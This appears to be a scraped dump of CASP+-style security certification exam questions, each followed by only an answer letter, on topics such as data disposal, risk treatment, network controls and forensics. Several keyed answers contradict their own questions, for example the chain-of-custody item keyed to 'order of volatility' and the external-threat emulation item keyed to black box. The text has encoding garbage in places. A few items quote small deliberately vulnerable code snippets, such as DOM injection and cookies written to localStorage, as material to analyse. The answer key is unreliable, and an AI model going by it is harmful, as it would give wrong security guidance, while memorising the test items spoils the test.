During the decommissioning phase of a hardware project, a security administrator is tasked with ensuring no sensitive data is released inadvertently. All paper records are scheduled to be shredded in a crosscut shredder, and the waste will be burned. The system drives and removable media have been removed prior to e-cycling the hardware. Which of the following would ensure no data is recovered from the system drives once they are disposed of? A. Overwriting all HDD blocks with an alternating series of data. B. Physically disabling the HDDs by removing the drive head. C. Demagnetizing the hard drive using a degausser. D. Deleting the UEFI boot loaders from each HDD.

C

Engineers at a company believe a certain type of data should be protected from competitors, but the data owner insists the information is not sensitive. An information security engineer is implementing controls to secure the corporate SAN. The controls require dividing data into four groups: non-sensitive, sensitive but accessible, sensitive but export-controlled, and extremely sensitive. Which of the following actions should the engineer take regarding the data? A. Label the data as extremely sensitive. B. Label the data as sensitive but accessible. C. Label the data as non-sensitive. D. Label the data as sensitive but export-controlled.

C

Following a recent data breach, a company has hired a new Chief Information Security Officer (CISO). The CISO is very concerned about the response time to the previous breach and wishes to know how the security team expects to react to a future attack. Which of the following is the BEST method to achieve this goal while minimizing disruption? A. Perform a black box assessment B. Hire an external red team audit C. Conduct a tabletop exercise. D. Recreate the previous breach. E. Conduct an external vulnerability assessment. Hide Solution

C

Following a recent outage, a systems administrator is conducting a study to determine a suitable bench stock on server hard drives. Which of the following metrics is MOST valuable to the administrator in determining how many hard drives to keep-on hand? A. TTR B. ALE C. MTBF D. SLE E. RPO

C

Given the following output from a security tool in Kali: [12:17:41] dumping options: filename: /usr/share/sectools/scans state: 8 lineo: 56 literals: 74 sequences: 34 symbols: 0 req_del: 200 mseq_len: 1024 plugin: none s_syms: 0 literal[1] = [jf2d43kaj4i9eahfh8fbiud8sd8sdhfdfhj9] A. Log reduction B. Network enumerator C. Fuzzer D. SCAP scanner

C

Given the following: //TODO - should this be odbc or jdbc? var odbcString = getParameterByName ("queryString", "dbConnector"); doc.innerHTML = "DB connector: <b>" + odbcString + "</b>"; document.body.appendChild (doc); Which of the following vulnerabilities is present in the above code snippet? A. Disclosure of database credential B. SQL-based string concatenation C. DOM-based injection D. Information disclosure in comments

C

The Chief Executive Officer (CEO) of a small startup company has an urgent need for a security policy and assessment to address governance, risk management, and compliance. The company has a resource-constrained IT department, but has no information security staff. The CEO has asked for this to be completed in three months. Which of the following would be the MOST cost-effective solution to meet the company's needs? A. Select one of the IT personnel to obtain information security training, and then develop all necessary policies and documents in-house. B. Accept all risks associated with information security, and then bring up the issue again at next yearג€™s annual board meeting. C. Release an RFP to consultancy firms, and then select the most appropriate consultant who can fulfill the requirements. D. Hire an experienced, full-time information security team to run the startup companyג€™s information security department.

C

The Chief Executive Officers (CEOs) from two different companies are discussing the highly sensitive prospect of merging their respective companies together. Both have invited their Chief Information Officers (CIOs) to discern how they can securely and digitally communicate, and the following criteria are collectively determined: ✑ Must be encrypted on the email servers and clients ✑ Must be OK to transmit over unsecure Internet connections. Which of the following communication methods would be BEST to recommend? A. Force TLS between domains. B. Enable STARTTLS on both domains. C. Use PGP-encrypted emails. D. Switch both domains to utilize DNSSEC.

C

The marketing department has developed a new marketing campaign involving significant social media outreach. The campaign includes allowing employees and customers to submit blog posts and pictures of their day-to-day experiences at the company. The information security manager has been asked to provide an informative letter to all participants regarding the security risks and how to avoid privacy and operational security issues. Which of the following is the MOST important information to reference in the letter? A. After-action reports from prior incidents. B. Social engineering techniques C. Company policies and employee NDAs D. Data classification processes

C

When reviewing KRIs of the email security appliance with the Chief Information Security Officer (CISO) of an insurance company, the security engineer notices the following: Month Encrypted Email Unencrypted Email Contains PII 1 200 0 0 2 230 10 5 3 185 15 10 4 198 60 40 5 204 75 45 Which of the following measures should the security engineer take to ensure PII is not intercepted in transit while also preventing interruption to business? A. Quarantine emails sent to external domains containing PII and release after inspection. B. Prevent PII from being sent to domains that allow users to sign up for free webmail. C. Enable transport layer security on all outbound email communications and attachments. D. Provide security awareness training regarding transmission of PII.

C

A business is growing and starting to branch out into other locations. In anticipation of opening an office in a different country, the Chief Information Security Officer (CISO) and legal team agree they need to meet the following criteria regarding data to open the new office: ✑ Store taxation-related documents for five years ✑ Store customer addresses in an encrypted format ✑ Destroy customer information after one year ✑ Keep data only in the customer's home country Which of the following should the CISO implement to BEST meet these requirements? (Choose three.) A. Capacity planning policy B. Data retention policy C. Data classification standard D. Legal compliance policy E. Data sovereignty policy F. Backup policy G. Acceptable use policy H. Encryption standard

BEH

A security administrator wants to allow external organizations to cryptographically validate the company's domain name in email messages sent by employees. Which of the following should the security administrator implement? A. SPF B. S/MIME C. TLS D. DKIM

D

A company has entered into a business agreement with a business partner for managed human resources services. The Chief Information Security Officer (CISO) has been asked to provide documentation that is required to set up a business-to-business VPN between the two organizations. Which of the following is required in this scenario? A. ISA B. BIA C. SLA D. RA

A

A company has hired an external security consultant to conduct a thorough review of all aspects of corporate security. The company is particularly concerned about unauthorized access to its physical offices resulting in network compromises. Which of the following should the consultant recommend be performed to evaluate potential risks? A. The consultant should attempt to gain access to physical offices through social engineering and then attempt data exfiltration B. The consultant should be granted access to all physical access control systems to review logs and evaluate the likelihood of the threat C. The company should conduct internal audits of access logs and employee social media feeds to identify potential insider threats D. The company should install a temporary CCTV system to detect unauthorized access to physical offices

A

A company monitors the performance of all web servers using WMI. A network administrator informs the security engineer that web servers hosting the company's client-facing portal are running slowly today. After some investigation, the security engineer notices a large number of attempts at enumerating host information via SNMP from multiple IP addresses. Which of the following would be the BEST technique for the security engineer to employ in an attempt to prevent reconnaissance activity? A. Install a HIPS on the web servers B. Disable inbound traffic from offending sources C. Disable SNMP on the web servers D. Install anti-DDoS protection in the DMZ

A

A company wants to extend its help desk availability beyond business hours. The Chief Information Officer (CIO) decides to augment the help desk with a third- party service that will answer calls and provide Tier 1 problem resolution, such as password resets and remote assistance. The security administrator implements the following firewall change: PERMIT TCP FROM 74.23.2.4 TO 192.168.20.20 PORT 80 PERMIT TCP FROM 74.23.2.4 TO 192.168.20.20 PORT 636 PERMIT TCP FROM 74.23.2.4 TO 192.168.20.20 PORT 5800 PERMIT TCP FROM 74.23.2.4 TO 192.168.20.20 PORT 1433 The administrator provides the appropriate path and credentials to the third-party company. Which of the following technologies is MOST likely being used to provide access to the third company? A. LDAP B. WAYF C. OpenID D. RADIUS E. SAML

A

A company's Chief Operating Officer (COO) is concerned about the potential for competitors to infer proprietary information gathered from employees' social media accounts. Which of the following methods should the company use to gauge its own social media threat level without targeting individual employees? A. Utilize insider threat consultants to provide expertise. B. Require that employees divulge social media accounts. C. Leverage Big Data analytical algorithms. D. Perform social engineering tests to evaluate employee awareness.

A

A company's existing forward proxies support software-based TLS decryption, but are currently at 60% load just dealing with AV scanning and content analysis for HTTP traffic. More than 70% outbound web traffic is currently encrypted. The switching and routing network infrastructure precludes adding capacity, preventing the installation of a dedicated TLS decryption system. The network firewall infrastructure is currently at 30% load and has software decryption modules that can be activated by purchasing additional license keys. An existing project is rolling out agent updates to end-user desktops as part of an endpoint security refresh. Which of the following is the BEST way to address these issues and mitigate risks to the organization? A. Purchase the SSL, decryption license for the firewalls and route traffic back to the proxies for end-user categorization and malware analysis. B. Roll out application whitelisting to end-user desktops and decommission the existing proxies, freeing up network ports. C. Use an EDR solution to address the malware issue and accept the diminishing role of the proxy for URL categorization in the short team. D. Accept the current risk and seek possible funding approval in the next budget cycle to replace the existing proxies with ones with more capacity.

A

A hospital's security team recently determined its network was breached and patient data was accessed by an external entity. The Chief Information Security Officer (CISO) of the hospital approaches the executive management team with this information, reports the vulnerability that led to the breach has already been remediated, and explains the team is continuing to follow the appropriate incident response plan. The executive team is concerned about the hospital's brand reputation and asks the CISO when the incident should be disclosed to the affected patients. Which of the following is the MOST appropriate response? A. When it is mandated by their legal and regulatory requirements B. As soon as possible in the interest of the patients C. As soon as the public relations department is ready to be interviewed D. When all steps related to the incident response plan are completed E. Upon the approval of the Chief Executive Officer (CEO) to release information to the public

A

A security architect is implementing security measures in response to an external audit that found vulnerabilities in the corporate collaboration tool suite. The report identified the lack of any mechanism to provide confidentiality for electronic correspondence between users and between users and group mailboxes. Which of the following controls would BEST mitigate the identified vulnerability? A. Issue digital certificates to all users, including owners of group mailboxes, and require S/MIME with AES-256. B. Federate with an existing PKI provider, and reject all non-signed emails C. Implement two-factor email authentication, and require users to hash all email messages upon receipt D. Provide digital certificates to all systems, and eliminate the user group or shared mailboxes

A

A security engineer is designing a system in which offshore, outsourced staff can push code from the development environment to the production environment securely. The security engineer is concerned with data loss, while the business does not want to slow down its development process. Which of the following solutions BEST balances security requirements with business need? A. Set up a VDI environment that prevents copying and pasting to the local workstations of outsourced staff members B. Install a client-side VPN on the staff laptops and limit access to the development network C. Create an IPSec VPN tunnel from the development network to the office of the outsourced staff D. Use online collaboration tools to initiate workstation-sharing sessions with local staff who have access to the development network

A

A server (10.0.0.2) on the corporate network is experiencing a DoS from a number of marketing desktops that have been compromised and are connected to a separate network segment. The security engineer implements the following configuration on the management router: Router(config)# ip route 192.168.3.1 255.255.255.255 Null0 Router(config)# route-map DATA Router(config-route-map)# match tag 101 Router(config-route-map)# set ip next-hop 192.168.3.1 Router(config-route-map)# set community no-export Router(config-router)# redistribute static route-map DATA Router(config)# ip route 10.0.0.2 255.255.255.255 Null0 tag 101 Which of the following is the engineer implementing? A. Remotely triggered black hole B. Route protection C. Port security D. Transport security E. Address space layout randomization

A

After multiple service interruptions caused by an older datacenter design, a company decided to migrate away from its datacenter. The company has successfully completed the migration of all datacenter servers and services to a cloud provider. The migration project includes the following phases: ✑ Selection of a cloud provider ✑ Architectural design ✑ Microservice segmentation ✑ Virtual private cloud ✑ Geographic service redundancy ✑ Service migration The Chief Information Security Officer (CISO) is still concerned with the availability requirements of critical company applications. Which of the following should the company implement NEXT? A. Multicloud solution B. Single-tenancy private cloud C. Hybrid cloud solution D. Cloud access security broker

A

An organization has established the following controls matrix: SECURITY MINIMUM MODERATE HIGH Physical CylinderLock CipherLock ProximityAccessCard Environmental SurgeProtector UPS Generator Data Content-BasedAuthentication MFA FDE Application PeerReview StaticAnalysis PenetrationTest Logical HIDS NIDS NIPS The following control sets have been defined by the organization and are applied in aggregate fashion: ✑ Systems containing PII are protected with the minimum control set. ✑ Systems containing medical data are protected at the moderate level. ✑ Systems containing cardholder data are protected at the high level.The organization is preparing to deploy a system that protects the confidentially of a database containing PII and medical data from clients. Based on the controls classification, which of the following controls would BEST meet these requirements? A. Proximity card access to the server room, context-based authentication, UPS, and full-disk encryption for the database server. B. Cipher lock on the server room door, FDE, surge protector, and static analysis of all application code. C. Peer review of all application changes, static analysis of application code, UPS, and penetration testing of the complete system. D. Intrusion detection capabilities, network-based IPS, generator, and context-based authentication.

A

An organization is in the process of integrating its operational technology and information technology areas. As part of the integration, some of the cultural aspects it would like to see include more efficient use of resources during change windows, better protection of critical infrastructure, and the ability to respond to incidents. The following observations have been identified: 1. The ICS supplier has specified that any software installed will result in lack of support. 2. There is no documented trust boundary defined between the SCADA and corporate networks. 3. Operational technology staff have to manage the SCADA equipment via the engineering workstation. 4. There is a lack of understanding of what is within the SCADA network. Which of the following capabilities would BEST improve the security position? A. VNC, router, and HIPS B. SIEM, VPN, and firewall C. Proxy, VPN, and WAF D. IDS, NAC, and log monitoring

A

Management is reviewing the results of a recent risk assessment of the organization's policies and procedures. During the risk assessment it is determined that procedures associated with background checks have not been effectively implemented. In response to this risk, the organization elects to revise policies and procedures related to background checks and use a third-party to perform background checks on all new employees. Which of the following risk management strategies has the organization employed? A. Transfer B. Mitigate C. Accept D. Avoid E. Reject

A

Two new technical SMB security settings have been enforced and have also become policies that increase secure communications. Network Client: Digitally sign communication Network Server: Digitally sign communication A storage administrator in a remote location with a legacy storage array, which contains time-sensitive data, reports employees can no longer connect to their department shares. Which of the following mitigation strategies should an information security manager recommend to the data owner? A. Accept the risk, reverse the settings for the remote location, and have the remote location file a risk exception until the legacy storage device can be upgraded B. Accept the risk for the remote location, and reverse the settings indefinitely since the legacy storage device will not be upgraded C. Mitigate the risk for the remote location by suggesting a move to a cloud service provider. Have the remote location request an indefinite risk exception for the use of cloud storage D. Avoid the risk, leave the settings alone, and decommission the legacy storage device

A

After embracing a BYOD policy, a company is faced with new security challenges from unmanaged mobile devices and laptops. The company's IT department has seen a large number of the following incidents: ✑ Duplicate IP addresses ✑ Rogue network devices ✑ Infected systems probing the company's network Which of the following should be implemented to remediate the above issues? (Choose two.) A. Port security B. Route protection C. NAC D. HIPS E. NIDS

AC

An insurance company has two million customers and is researching the top transactions on its customer portal. It identifies that the top transaction is currently password reset. Due to users not remembering their secret questions, a large number of calls are consequently routed to the contact center for manual password resets. The business wants to develop a mobile application to improve customer engagement in the future, continue with a single factor of authentication, minimize management overhead of the solution, remove passwords, and eliminate to the contact center. Which of the following techniques would BEST meet the requirements? (Choose two.) A. Magic link sent to an email address B. Customer ID sent via push notification C. SMS with OTP sent to a mobile number D. Third-party social login E. Certificate sent to be installed on a device F. Hardware tokens sent to customers

AC

A software development team is conducting functional and user acceptance testing of internally developed web applications using a COTS solution. For automated testing, the solution uses valid user credentials from the enterprise directory to authenticate to each application. The solution stores the username in plain text and the corresponding password as an encoded string in a script within a file, located on a globally accessible network share. The account credentials used belong to the development team lead. To reduce the risks associated with this scenario while minimizing disruption to ongoing testing, which of the following are the BEST actions to take? (Choose two.) A. Restrict access to the network share by adding a group only for developers to the share's ACL B. Implement a new COTS solution that does not use hard-coded credentials and integrates with directory services C. Obfuscate the username within the script file with encoding to prevent easy identification and the account used D. Provision a new user account within the enterprise directory and enable its use for authentication to the target applications. Share the username and password with all developers for use in their individual scripts E. Redesign the web applications to accept single-use, local account credentials for authentication

AD

An advanced threat emulation engineer is conducting testing against a client's network. The engineer conducts the testing in as realistic a manner as possible. Consequently, the engineer has been gradually ramping up the volume of attacks over a long period of time. Which of the following combinations of techniques would the engineer MOST likely use in this testing? (Choose three.) A. Black box testing B. Gray box testing C. Code review D. Social engineering E. Vulnerability assessment F. Pivoting G. Self-assessment H. White teaming I. External auditing

AEF

Organization that has an orchestration but that integrates with a large on-premise footprint, subscribing to a small amount of external software services and starting to move workloads to a variety of other cloud models.

Hybrid cloud

A company is developing requirements for a customized OS build that will be used in an embedded environment. The company procured hardware that is capable of reducing the likelihood of successful buffer overruns while executables are processing. Which of the following capabilities must be included for the OS to take advantage of this critical hardware-based countermeasure? A. Application whitelisting B. NX/XN bit C. ASLR D. TrustZone E. SCP

B

A company wants to perform analysis of a tool that is suspected to contain a malicious payload. A forensic analyst is given the following snippet: ^32^[34fda19(fd^43gfd/home/user/lib/module.so.343jk^rfw(342fds43g Which of the following did the analyst use to determine the location of the malicious payload? A. Code deduplicators B. Binary reverse-engineering C. Fuzz testing D. Security containers

B

A financial consulting firm recently recovered from some damaging incidents that were associated with malware installed via rootkit. Post-incident analysis is ongoing, and the incident responders and systems administrators are working to determine a strategy to reduce the risk of recurrence. The firm's systems are running modern operating systems and feature UEFI and TPMs. Which of the following technical options would provide the MOST preventive value? A. Update and deploy GPOs B. Configure and use measured boot C. Strengthen the password complexity requirements D. Update the antivirus software and definitions

B

A hospital uses a legacy electronic medical record system that requires multicast for traffic between the application servers and databases on virtual hosts that support segments of the application. Following a switch upgrade, the electronic medical record is unavailable despite physical connectivity between the hypervisor and the storage being in place. The network team must enable multicast traffic to restore access to the electronic medical record. The ISM states that the network team must reduce the footprint of multicast traffic on the network. VLAN DESCRIPTION 201 Server VLAN1 202 Server VLAN2 400 Hypervisor Management VLAN 680 Storage Management VLAN 700 Database Server VLAN Using the above information, on which VLANs should multicast be enabled? A. VLAN201, VLAN202, VLAN400 B. VLAN201, VLAN202, VLAN700 C. VLAN201, VLAN202, VLAN400, VLAN680, VLAN700 D. VLAN400, VLAN680, VLAN700

B

A penetration tester has been contracted to conduct a physical assessment of a site. Which of the following is the MOST plausible method of social engineering to be conducted during this engagement? A. Randomly calling customer employees and posing as a help desk technician requiring user password to resolve issues B. Posing as a copier service technician and indicating the equipment had ג€phoned homeג€ to alert the technician for a service call C. Simulating an illness while at a client location for a sales call and then recovering once listening devices are installed D. Obtaining fake government credentials and impersonating law enforcement to gain access to a company facility

B

A security consultant is attempting to discover if the company is utilizing databases on client machines to store the customer data. The consultant reviews the following information: Protocol Local Address Foreign Address Status TCP 127.0.0.1 172.16.10.101:25 Established TCP 127.0.0.1 172.16.20.45:443 Established UDP 127.0.0.1 172.16.20.80:53 Waiting TCP 172.16.10.10:1433 172.16.10.34 Established Which of the following commands would have provided this output? A. arp -s B. netstat -a C. ifconfig -arp D. sqlmap -w

B

A security engineer must establish a method to assess compliance with company security policies as they apply to the unique configuration of individual endpoints, as well as to the shared configuration policies of common devices. POLICY DEVICE TYPE % COMPLIANT Local Admin Accounts Renamed Server 65% Guest Account Disabled Host 30% Local Firewall Enabled Host 80% Password Complexity Enabled Server 46% Which of the following tools is the security engineer using to produce the above output? A. Vulnerability scanner B. SIEM C. Port scanner D. SCAP scanner

B

A systems security engineer is assisting an organization's market survey team in reviewing requirements for an upcoming acquisition of mobile devices. The engineer expresses concerns to the survey team about a particular class of devices that uses a separate SoC for baseband radio I/O. For which of the following reasons is the engineer concerned? A. These devices can communicate over networks older than HSPA+ and LTE standards, exposing device communications to poor encryptions routines B. The organization will be unable to restrict the use of NFC, electromagnetic induction, and Bluetooth technologies C. The associated firmware is more likely to remain out of date and potentially vulnerable D. The manufacturers of the baseband radios are unable to enforce mandatory access controls within their driver set

B

An engineer is evaluating the control profile to assign to a system containing PII, financial, and proprietary data. DATA TYPE CONFIDENTIALITY INTEGRITY AVAILABILITY PII High Medium Low Proprietary High High Medium Competitive High Medium Medium Industrial Low Low High Financial Medium High Low Based on the data classification table above, which of the following BEST describes the overall classification? A. High confidentiality, high availability B. High confidentiality, medium availability C. Low availability, low confidentiality D. High integrity, low availability

B

An organization is preparing to develop a business continuity plan. The organization is required to meet regulatory requirements relating to confidentiality and availability, which are well-defined. Management has expressed concern following initial meetings that the organization is not fully aware of the requirements associated with the regulations. Which of the following would be MOST appropriate for the project manager to solicit additional resources for during this phase of the project? A. After-action reports B. Gap assessment C. Security requirements traceability matrix D. Business impact assessment E. Risk analysis

B

Given the following output from a local PC: C:\>ipconfig Windows IP Configuration Wireless LAN adapter Wireless Network Connection: Connection-specific DNS Suffix . : comptia.org Link-local IPv6 Address....... : fe80::4551:67ba:77a6:62e1%11 IPv4 Address............................. : 172.30.0.28 Subnet Mask.............................. : 255.255.0.0 Default Gateway....................... : 172.30.0.5 C:\> Which of the following ACLs on a stateful host-based firewall would allow the PC to serve an intranet website? A. Allow 172.30.0.28:80 -> ANY B. Allow 172.30.0.28:80 -> 172.30.0.0/16 C. Allow 172.30.0.28:80 -> 172.30.0.28:443 D. Allow 172.30.0.28:80 -> 172.30.0.28:53

B

The Chief Information Security Officer (CISO) for an organization wants to develop custom IDS rulesets faster, prior to new rules being released by IDS vendors. Which of the following BEST meets this objective? A. Identify a third-party source for IDS rules and change the configuration on the applicable IDSs to pull in the new rulesets B. Encourage cybersecurity analysts to review open-source intelligence products and threat database to generate new IDS rules based on those sources C. Leverage the latest TCP- and UDP-related RFCs to arm sensors and IDSs with appropriate heuristics for anomaly detection D. Use annual hacking conventions to document the latest attacks and threats, and then develop IDS rules to counter those threats

B

The code snippet below controls all electronic door locks to a secure facility in which the doors should only fail open in an emergency. In the code, "criticalValue" indicates if an emergency is underway: try { if (criticalValue) OpenDoors=true else OpenDoors=false } catch (e) { OpenDoors=true } Which of the following is the BEST course of action for a security analyst to recommend to the software developer? A. Rewrite the software to implement fine-grained, conditions-based testing B. Add additional exception handling logic to the main program to prevent doors from being opened C. Apply for a life-safety-based risk exception allowing secure doors to fail open D. Rewrite the software's exception handling routine to fail in a secure state

B

The risk subcommittee of a corporate board typically maintains a master register of the most prominent risks to the company. A centralized holistic view of risk is particularly important to the corporate Chief Information Security Officer (CISO) because: A. IT systems are maintained in silos to minimize interconnected risks and provide clear risk boundaries used to implement compensating controls B. risks introduced by a system in one business unit can affect other business units in ways in which the individual business units have no awareness C. corporate general counsel requires a single system boundary to determine overall corporate risk exposure D. major risks identified by the subcommittee merit the prioritized allocation of scare funding to address cybersecurity concerns

B

An architect was recently hired by a power utility to increase the security posture of the company's power generation and distribution sites. Upon review, the architect identifies legacy hardware with highly vulnerable and unsupported software driving critical operations. These systems must exchange data with each other, be highly synchronized, and pull from the Internet time sources. Which of the following architectural decisions would BEST reduce the likelihood of a successful attack without harming operational capability? (Choose two.) A. Isolate the systems on their own network B. Install a firewall and IDS between systems and the LAN C. Employ own stratum-0 and stratum-1 NTP servers D. Upgrade the software on critical systems E. Configure the systems to use government-hosted NTP servers

BC

One of the objectives of a bank is to instill a security awareness culture. Which of the following are techniques that could help to achieve this? (Choose two.) A. Blue teaming B. Phishing simulations C. Lunch-and-learn D. Random audits E. Continuous monitoring F. Separation of duties

BC

A security engineer has implemented an internal user access review tool so service teams can baseline user accounts and group memberships. The tool is functional and popular among its initial set of onboarded teams. However, the tool has not been built to cater to a broader set of internal teams yet. The engineer has sought feedback from internal stakeholders, and a list of summarized requirements is as follows: ✑ The tool needs to be responsive so service teams can query it, and then perform an automated response action. ✑ The tool needs to be resilient to outages so service teams can perform the user access review at any point in time and meet their own SLAs. ✑ The tool will become the system-of-record for approval, reapproval, and removal life cycles of group memberships and must allow for data retrieval after failure. Which of the following need specific attention to meet the requirements listed above? (Choose three.) A. Scalability B. Latency C. Availability D. Usability E. Recoverability F. Maintainability

BCE

An engineer maintains a corporate-owned mobility infrastructure, and the organization requires that all web browsing using corporate-owned resources be monitored. Which of the following would allow the organization to meet its requirement? (Choose two.) A. Exempt mobile devices from the requirement, as this will lead to privacy violations B. Configure the devices to use an always-on IPSec VPN C. Configure all management traffic to be tunneled into the enterprise via TLS D. Implement a VDI solution and deploy supporting client apps to devices E. Restrict application permissions to establish only HTTPS connections outside of the enterprise boundary

BE

A security administrator is hardening a TrustedSolaris server that processes sensitive data. The data owner has established the following security requirements: ✑ The data is for internal consumption only and shall not be distributed to outside individuals ✑ The systems administrator should not have access to the data processed by the server ✑ The integrity of the kernel image is maintained Which of the following host-based security controls BEST enforce the data owner's requirements? (Choose three.) A. SELinux B. DLP C. HIDS D. Host-based firewall E. Measured boot F. Data encryption G. Watermarking

BEF

A systems administrator recently joined an organization and has been asked to perform a security assessment of controls on the organization's file servers, which contain client data from a number of sensitive systems. The administrator needs to compare documented access requirements to the access implemented within the file system. Which of the following is MOST likely to be reviewed during the assessment? (Choose two.) A. Access control list B. Security requirements traceability matrix C. Data owner matrix D. Roles matrix E. Data design document F. Data access policies

BF

A Chief Information Security Officer (CISO is reviewing and revising system configuration and hardening guides that were developed internally and have been used several years to secure the organization's systems. The CISO knows improvements can be made to the guides. Which of the following would be the BEST source of reference during the revision process? A. CVE database B. Internal security assessment reports C. Industry-accepted standards D. External vulnerability scan reports E. Vendor-specific implementation guides

C

A Chief Information Security Officer (CISO) is reviewing the results of a gap analysis with an outside cybersecurity consultant. The gap analysis reviewed all procedural and technical controls and found the following: ✑ High-impact controls implemented: 6 out of 10 ✑ Medium-impact controls implemented: 409 out of 472 ✑ Low-impact controls implemented: 97 out of 1000 The report includes a cost-benefit analysis for each control gap. The analysis yielded the following information: ✑ Average high-impact control implementation cost: $15,000; Probable ALE for each high-impact control gap: $95,000 ✑ Average medium-impact control implementation cost: $6,250; Probable ALE for each medium-impact control gap: $11,000 Due to the technical construction and configuration of the corporate enterprise, slightly more than 50% of the medium-impact controls will take two years to fully implement. Which of the following conclusions could the CISO draw from the analysis? A. Too much emphasis has been placed on eliminating low-risk vulnerabilities in the past B. The enterprise security team has focused exclusively on mitigating high-level risks C. Because of the significant ALE for each high-risk vulnerability, efforts should be focused on those controls D. The cybersecurity team has balanced residual risk for both high and medium controls

C

A company contracts a security engineer to perform a penetration test of its client-facing web portal. Which of the following activities would be MOST appropriate? A. Use a protocol analyzer against the site to see if data input can be replayed from the browser B. Scan the website through an interception proxy and identify areas for the code injection C. Scan the site with a port scanner to identify vulnerable services running on the web server D. Use network enumeration tools to identify if the server is running behind a load balancer

C

A deployment manager is working with a software development group to assess the security of a new version of the organization's internally developed ERP tool. The organization prefers to not perform assessment activities following deployment, instead focusing on assessing security throughout the life cycle. Which of the following methods would BEST assess the security of the product? A. Static code analysis in the IDE environment B. Penetration testing of the UAT environment C. Vulnerability scanning of the production environment D. Penetration testing of the production environment E. Peer review prior to unit testing

C

A forensics analyst suspects that a breach has occurred. Security logs show the company's OS patch system may be compromised, and it is serving patches that contain a zero-day exploit and backdoor. The analyst extracts an executable file from a packet capture of communication between a client computer and the patch server. Which of the following should the analyst use to confirm this suspicion? A. File size B. Digital signature C. Checksums D. Anti-malware software E. Sandboxing

C

A recent assessment identified that several users' mobile devices are running outdated versions of endpoint security software that do not meet the company's security policy. Which of the following should be performed to ensure the users can access the network and meet the company's security requirements? A. Vulnerability assessment B. Risk assessment C. Patch management D. Device quarantine E. Incident management

C

A team is at the beginning stages of designing a new enterprise-wide application. The new application will have a large database and require a capital investment in hardware. The Chief Information Officer (CIO) has directed the team to save money and reduce the reliance on the datacenter, and the vendor must specialize in hosting large databases in the cloud. Which of the following cloud-hosting options would BEST meet these needs? A. Multi-tenancy SaaS B. Hybrid IaaS C. Single-tenancy PaaS D. Community IaaS

C

A web developer has implemented HTML5 optimizations into a legacy web application. One of the modifications the web developer made was the following client side optimization: localStorage.setItem("session-cookie", document.cookie); Which of the following should the security engineer recommend? A. SessionStorage should be used so authorized cookies expire after the session ends B. Cookies should be marked as "secure" and "HttpOnly" C. Cookies should be scoped to a relevant domain/path D. Client-side cookies should be replaced by server-side mechanisms

C

During a security event investigation, a junior analyst fails to create an image of a server's hard drive before removing the drive and sending it to the forensics analyst. Later, the evidence from the analysis is not usable in the prosecution of the attackers due to the uncertainty of tampering. Which of the following should the junior analyst have followed? A. Continuity of operations B. Chain of custody C. Order of volatility D. Data recovery

C

Following a security assessment, the Chief Information Security Officer (CISO) is reviewing the results of the assessment and evaluating potential risk treatment strategies. As part of the CISO's evaluation, a judgment of potential impact based on the identified risk is performed. To prioritize response actions, the CISO uses past experience to take into account the exposure factor as well as the external accessibility of the weakness identified. Which of the following is the CISO performing? A. Documentation of lessons learned B. Quantitative risk assessment C. Qualitative assessment of risk D. Business impact scoring E. Threat modeling

C

The Chief Information Security Officer (CISO) has asked the security team to determine whether the organization is susceptible to a zero-day exploit utilized in the banking industry and whether attribution is possible. The CISO has asked what process would be utilized to gather the information, and then wants to apply signatureless controls to stop these kinds of attacks in the future. Which of the following are the MOST appropriate ordered steps to take to meet the CISO's request? A. 1. Perform the ongoing research of the best practices 2. Determine current vulnerabilities and threats 3. Apply Big Data techniques 4. Use antivirus control B. 1. Apply artificial intelligence algorithms for detection 2. Inform the CERT team 3. Research threat intelligence and potential adversaries 4. Utilize threat intelligence to apply Big Data techniques C. 1. Obtain the latest IOCs from the open source repositories 2. Perform a sweep across the network to identify positive matches 3. Sandbox any suspicious files 4. Notify the CERT team to apply a future proof threat model D. 1. Analyze the current threat intelligence 2. Utilize information sharing to obtain the latest industry IOCs 3. Perform a sweep across the network to identify positive matches 4. Apply machine learning algorithms

C

To prepare for an upcoming audit, the Chief Information Security Officer (CISO) asks for all 1200 vulnerabilities on production servers to be remediated. The security engineer must determine which vulnerabilities represent real threats that can be exploited so resources can be prioritized to migrate the most dangerous risks. The CISO wants the security engineer to act in the same manner as would an external threat, while using vulnerability scan results to prioritize any actions. Which of the following approaches is described? A. Blue team B. Red team C. Black box D. White team

C

Which of the following BEST represents a risk associated with merging two enterprises during an acquisition? A. The consolidation of two different IT enterprises increases the likelihood of the data loss because there are now two backup systems B. Integrating two different IT systems might result in a successful data breach if threat intelligence is not shared between the two enterprises C. Merging two enterprise networks could result in an expanded attack surface and could cause outages if trust and permission issues are not handled carefully D. Expanding the set of data owners requires an in-depth review of all data classification decisions, impacting availability during the review

C

A large enterprise with thousands of users is experiencing a relatively high frequency of malicious activity from the insider threats. Much of the activity appears to involve internal reconnaissance that results in targeted attacks against privileged users and network file shares. Given this scenario, which of the following would MOST likely prevent or deter these attacks? (Choose two.) A. Conduct role-based training for privileged users that highlights common threats against them and covers best practices to thwart attacks B. Increase the frequency at which host operating systems are scanned for vulnerabilities, and decrease the amount of time permitted between vulnerability identification and the application of corresponding patches C. Enforce command shell restrictions via group policies for all workstations by default to limit which native operating system tools are available for use D. Modify the existing rules of behavior to include an explicit statement prohibiting users from enumerating user and file directories using available tools and/or accessing visible resources that do not directly pertain to their job functions E. For all workstations, implement full-disk encryption and configure UEFI instances to require complex passwords for authentication F. Implement application blacklisting enforced by the operating systems of all machines in the enterprise

CD

An SQL database is no longer accessible online due to a recent security breach. An investigation reveals that unauthorized access to the database was possible due to an SQL injection vulnerability. To prevent this type of breach in the future, which of the following security controls should be put in place before bringing the database back online? (Choose two.) A. Secure storage policies B. Browser security updates C. Input validation D. Web application firewall E. Secure coding standards F. Database activity monitoring

CD

A recent CRM upgrade at a branch office was completed after the desired deadline. Several technical issues were found during the upgrade and need to be discussed in depth before the next branch office is upgraded. Which of the following should be used to identify weak processes and other vulnerabilities? A. Gap analysis B. Benchmarks and baseline results C. Risk assessment D. Lessons learned report

D

